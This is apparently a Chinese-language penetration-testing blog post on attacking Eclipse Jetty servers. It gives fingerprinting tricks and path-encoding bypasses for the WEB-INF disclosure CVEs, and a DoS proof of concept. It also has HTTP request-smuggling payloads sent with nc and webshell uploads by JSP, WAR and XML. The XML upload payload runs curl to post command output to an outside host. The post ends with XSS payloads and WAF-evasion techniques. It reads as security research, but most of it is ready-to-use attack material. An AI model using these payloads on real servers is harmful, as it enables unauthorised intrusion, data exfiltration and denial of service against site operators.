jetty常用渗透总结
Jetty Eclipse Jetty是一个Java Web 服务器和Java Servlet容器。虽然 Web 服务器通常与向人们提供文档相关联,但 Jetty 现在通常用于机器对机器的通信,通常在更大的软件框架内。Jetty 是作为Eclipse Foundation的一部分开发的免费和开源项目。Web 服务器用于Apache ActiveMQ、Alfresco、Scalatra、Apache
Jetty
Eclipse Jetty是一个Java Web 服务器和Java Servlet容器。虽然 Web 服务器通常与向人们提供文档相关联,但 Jetty 现在通常用于机器对机器的通信,通常在更大的软件框架内。Jetty 是作为Eclipse Foundation的一部分开发的免费和开源项目。Web 服务器用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geronimo、Apache Maven、Apache Spark、Google App Engine、Eclipse、FUSE、iDempiere、Twitter 的 Streaming API和Zimbra。Jetty 也是Lift、Eucalyptus、OpenNMS、Red5、Hadoop和I2P等开源项目中的服务器。Jetty 支持最新的 Java Servlet API(支持JSP)以及协议HTTP/2和WebSocket。
在开始了解Jetty利用方式之前,需要了解一下关于Jetty小知识
$JETTY_HOME映射Jetty分发目录即start.jar启动目录$JETTY_BASE包含配置文件、WEB应用。在Jetty启动机制中,会优先高到低的顺序加载配置:- 命令行
$JETTY_BASE目录及其文件- 使用选项指定的目录
--include-jetty-dir及其文件 $JETTY_HOME目录及其文件
至于演示使用的环境,除了使用vulhub外,我还自行搭建了一个简单的环境,至于如何搭建建议看官网手册。
0x0 特征
0x00 响应Server标头
发送HTTP请求时,响应包的Server标头会返回Jetty版本信息(默认返回)。

0x01 GET请求
在GET请求的URL后面添加;(也有说是;",但是我复现时发现使用;也能达到相同的目的),可以识别大部分的Jetty中间件
Jetty服务器响应包一般都为200,Nginx一般为404
向Jetty服务器请求数据中添加;test,响应包为200

接着向Nginx服务器请求包添加相同的数据,响应包为404

0x02 404页面
Jetty服务,默认情况下会在404页面显示当前版本信息

0x1 WEB.xml
Web.xml别名部署标识符文件(Deployment Descriptor file),一般来说Web.xml文件一般都是在WEB-INF目录中。Web.xml危害几乎都是信息泄露,无法单独拿该漏洞做文章!
下面看一个简单的Web.xml
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<servlet>
<servlet-name>comingsoon</servlet-name>
<servlet-class>mysite.server.ComingSoonServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>comingsoon</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
</web-app>
xml文件根元素被命名为web-appservlet服务器设置servlet-name服务器名称servlet-class服务器类servlet-mapping定义servlet和URL模式之间的映射servlet-name该名称对应servlet-nameurl-pattern用来解析URL- 上面xml文件作用是将网址路径
/*映射到mysite.server.ComingSoonServlet应用类
需要注意的是。在Java Servlet Spec 3.0后,可以不用web.xml文件配置应用程序,可以通过Java类和注解到达相同的目的
至于xml其他标识符这里就不继续讲解了,有需要可以访问链接查询
0x2 CVE漏洞
0x01 Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-28164)
影响版本: 9.4.37-9.4.38
直接访问/WEB-INF/web.xml显示404

在/WEB-INF/...前面添加/%2e可以绕过下载web.xml,记住不能直接使用浏览器写入/%2e,不然可能会因为浏览器解析问题导致失败
/%2e/WEB-INF/web.xml

0x02 Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞(CVE-2021-28169)
影响版本:<= 9.4.40、10.0.2、11.0.2
正常情况无法通过/static?/WEB-INF/web.xml访问到敏感文件web.xml

将W进行双重URL编码可以绕过拦截,访问敏感文件web.xml
/static?/%2557EB-INF/web.xml

0x03 Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429)
影响版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5
jetty 9.4.40虽然说修复了%2e导致的敏感信息泄露漏洞CVE-2021-28164,但是由于修复不完善还可以使用下面三个方法绕过
- unicode形式URL编码:
/%u002e/WEB-INF/web.xml \0组合.导致的绕过:/.%00/WEB-INF/web.xml\0组合..导致的绕过:/a/b/..%00/WEB-INF/web.xml
访问/%u002e/WEB-INF/web.xml绕过下载
/%u002e/WEB-INF/web.xml

0x04 CVE-2020-27223 DOS
影响版本:
Jetty 9.4.6——Jetty 9.4.36Jetty 10.0.0Jetty 11.0.0
在Eclipse Jetty 9.4.6.v20170531 到 9.4.36.v20210114(含)、10.0.0 和 11.0.0中,当Jetty处理包含多个带有大量“质量”(即 q)参数的 Accept标头的请求时,由于处理这些质量值的 CPU 使用率高,服务器可能会进入拒绝服务 (DoS) 状态,从而导致处理这些质量值的CPU时间用尽数分钟。
环境搭建:
git clone https://github.com/motikan2010/CVE-2020-27223
cd CVE-2020-27223
mvn spring-boot:run
环境搭建好了,直接使用环境内的poc脚本
./cve-2020-27223-poc1.sh

0x05 jetty走私(CVE-2017-7656、CVE-2017-7657、CVE-2017-7658)
影响版本:
- 9.2.x:9.2.25v20180606
- 9.3.x:9.3.24.v20180605
- 9.4.x:9.4.11.v20280605
想看详细讲解jetty走私过程。推荐看原文:https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4
环境搭建使用Dockerfile
FROM jetty:9.4.9
RUN mkdir /var/lib/jetty/webapps/root
RUN bash -c 'set -ex \
&& cd /var/lib/jetty/webapps/root \
&& wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \
&& unzip sample.war'
EXPOSE 8080
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java","-jar","/usr/local/jetty/start.jar"]
运行Dockerfile
- 遇到tomcat.apache.org证书过期,可以把
sample.war软件放到本地http服务器下载
HTTP/0.9
printf 'GET /?test=4564 HTTP/0.9\r\n'\
'Range: bytes=36-42\r\n'\
'\r\n'\
|nc 127.0.0.1 8994
, World

双倍内容长度
printf 'GET /?test=4970 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'Connection: keepalive\r\n'\
'Content-Length: 0\r\n'\
'Content-Length: 45\r\n'\
'\r\n'\
'GET /?test=4971 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'GET /?test=4972 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
|nc 127.0.0.1 8994 | grep "HTTP"
HTTP/1.1 200 OK
HTTP/1.1 200 OK

块大小属性截断
printf 'POST /?test=4975 HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'1ff00000008\r\n'\
'abcdefgh\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'POST /?test=4976 HTTP/1.1\r\n'\
'Content-Length: 5\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
|nc 127.0.0.1 8994|grep "HTTP/1.1"
HTTP/1.1 200 OK
HTTP/1.1 200 OK

0x3 上下文
Jetty当没有设置根应用目录、文件时,会显示webapps里目录信息


如果没有设置根应用程序,而是通过web.xml映射方式提供服务,那么可以采用下面方式获取应用上下文目录
demo-simple.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/</Set>
<Set name="war"><Property name="jetty.webapps" default="." />/demo-simple.war</Set>
<Set name="virtualHosts">
<Array type="java.lang.String">
<Item>test.local</Item>
<Item>172.22.16.108</Item>
</Array>
</Set>
</Configure>
通过浏览器访问,jetty会正常进行工作,但是,如果我们在Host标头中附带不属于xml Item标签内的信息通过GET请求发送,在应用响应的结果中会显示目录上下文信息

在xml Item标签添加127.0.0.1演示
无法通过添加127.0.0.1 Host 标头获取上下文目录信息

使用新的标头,依然可以获取上下文信息

0x4 上传RCE
jsp Jetty是基于Apache Jasper的模块支持JSP
默认情况下,org.eclipse.jetty.jsp.JettyJspServlet负责处理Jetty中的JSP文件。
$JETTY_HOME/etc/webdefault.xml配置文件,默认情况下会将下面类型文件解析为JSP文件

jetty中要解析JSP文件,需要启动jsp模块
java -jar start.jar --module=jsp
0x01 常见上传目录
常见上传JSP一般都会保存在$JETTY_BASE/webapps/root,这种RCE方式只需要了解一下就行。
0x02 上传临时目录
Jetty如果没有设置固定的"工作"目录,每次启动服务时生成的临时目录都会附带上随机数字字符串
临时目录结构如下:
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"+randomdigits+"
- 我看文档说时会在上面的目录结构后加上
.dir,但是我环境中就没有发现有加上.dir。这里需要注意一下,有可能是我的问题。 0.0.0.0是主机地址,8080是端口,test_war是resourceBase,test(root)是上下文路径(将/转换为_),any是虚拟主机,randomdigits是一串随机数字。

这里我的上下文目录可能有些多,所以看起来有点乱,只需要知道test(root)代表的是webapps里面的目录即可。

如果能找到已经创建的临时目录,可以尝试上传shell到$JETTY_BASE/work/"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"/webapps/中
- 测试时,我发现临时目录中没有
webapps目录,那么就无法成功访问。


设置工作目录
设置工作目录只需要在${jetty.base}目录创建一个work目录,而且work目录一般都用作WEB应用程序所有临时文件夹的父目录,启动服务时,会在work目录创建临时目录
在“工作”目录下的临时目录结构如下:
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"

0.0.0.0是主机地址,8080是端口,demo-simple_war是resourceBase,test(root)是上下文路径(将/转换为_),any是虚拟主机。
0x5 上传war文件rce
当无法上传jsp文件时,我们还可以上传war文件GETSHELL。
制作war webshell文件只需要将shell文件压缩成war后缀即可
zip -r shell.war index.jsp
将war文件上传到$jetty_base/webapps/,这样就可以RCE了

服务器没有开启jsp模块,那么即使上传war文件也无法RCE,只能使用servlet创建java应用完成RCE
0x6 上传XML文件RCE
除去上述上传jsp、war文件可以RCE外,还可以通过上传XML文件进行RCE
XML文件有自己的语法,允许实例化任何对象,并调用getter、setter和方法。
- 下面只是简单演示复现,如果想看更详细的内容推荐看这个链接
XML代码
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>/bin/sh</Item>
<Item>-c</Item>
<Item>curl -F "r=`id`" http://192.168.0.0:80</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>
XML文件上传后无需要服务器重启,jetty的热部署功能会自动扫描部署新的web应用程序

0x7 上传文件XSS
JETTY服务器不仅可以上传总所周知的.html或.svg文件,还可以上传其他冷门扩展名的文件。
有效载荷:
xml 载荷
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert('PTSWARM')</script>html 载荷
<script>alert('PTSWARM')</script>
我这里比较懒就直接抄作业了

除了上述这些文件可以上传导致XSS外,如果JETTY服务器响应时没有Content-type 标头,可以尝试自定义内容MIME类型,都可以导致XSS,不过载荷一般都是使用<script>alert('PTSWARM')</script>

0x8 Jetty绕WAF
jetty绕过这段,我没弄成本地环境,也找不到相关环境。所以就直接用原文的内容。
原文地址:https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/
0x01 绕过waf拦截目录
了解了Jetty服务器如何解析URL地址,我们可以绕过代理服务器上的过滤器。想象一下,Jetty服务器部署在NGINX代理后面,其规则阻止对 /adminURL/*的请求。
location ~ /adminURL/ {
deny all;
}
location / {
proxy_pass http://localhost:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
如果只在代理上配置了这个规则,我们可以向/adminURL;random/ 发送HTTP请求,并获得对服务器上受保护资源的访问权限。

0x02 绕过waf读取文件
JSP文件代码
<%@ page import="java.io.File" %>
<%@ page import="java.util.Scanner" %>
<%
File myObj = new File(request.getParameter("filename"));
Scanner myReader = new Scanner(myObj);
while (myReader.hasNextLine()) {
String data = myReader.nextLine();
out.println(data);
}
myReader.close();
%>
应用程序从用户请求中接收filename参数,使用该参数中的路径打开文件,并将文件内容返回给用户。这是一个允许我们读取任意文件的漏洞。但是,如果应用程序受到WAF的保护,该WAF会阻止所有在GET或POST参数中包含/的请求呢?
被WAF拦截情况下,可以利用request.getParameter方法处理参数的方式。getParameter在不同的中间件服务器上工作方式都有所不同。getParameter在jetty应用程序调用时,getParameter会在GET和POST参数中查找值。如果使用POST请求发送Content-Type: multipart/form-data,Jetty会将该请求使用单独的解析器来解析。
如果POST参数中包含_charset_字段,则多部份解析将使用指定的编码处理所有参数。这样我们可以使用字符编码来绕过WAF拦截,因为WAF不可能识别所有不同编码的字符

图片中使用的是ibm037编码
使用上面的方法绕过waf需要服务器启动多部份处理。如果服务器托管处理文件上传的应用程序,则将启用多部分处理。
不启动多部份处理的服务器可能会跟图片下提示

0x03 jetty 边界解析
解析多部份请求的边界时,解析器在到达;边界字符串就会停止。;后面的所有字符串都会被忽略。

0x04 jetty 清除反斜杠
jetty从多部份请求中提取参数名称时,会把反斜杠清除,即\[any_symbol]被转换成[any_symbol]。我们可以利用该机制绕过WAF,下面使用XSS漏洞演示

参考链接
https://en.wikipedia.org/wiki/Jetty_(web_server)
https://cloud.google.com/appengine/docs/legacy/standard/java/config/webxml#:~:text=and%20URL%20paths-,web.,corresponds%20to%20the%20request%20method.
https://docs.oracle.com/cd/E24329_01/web.1211/e21049/web_xml.htm#WBAPP529
https://examples.javacodegeeks.com/enterprise-java/jetty/jetty-web-xml-configuration-example/
https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/
https://www.eclipse.org/jetty/documentation/jetty-11/operations-guide/index.html
https://github.com/motikan2010/CVE-2020-27223
https://github.com/vulhub/vulhub
https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4
@S1x17 类似组装一辆车,一人负责轮子、一人安装车架、一人安装内饰等。。。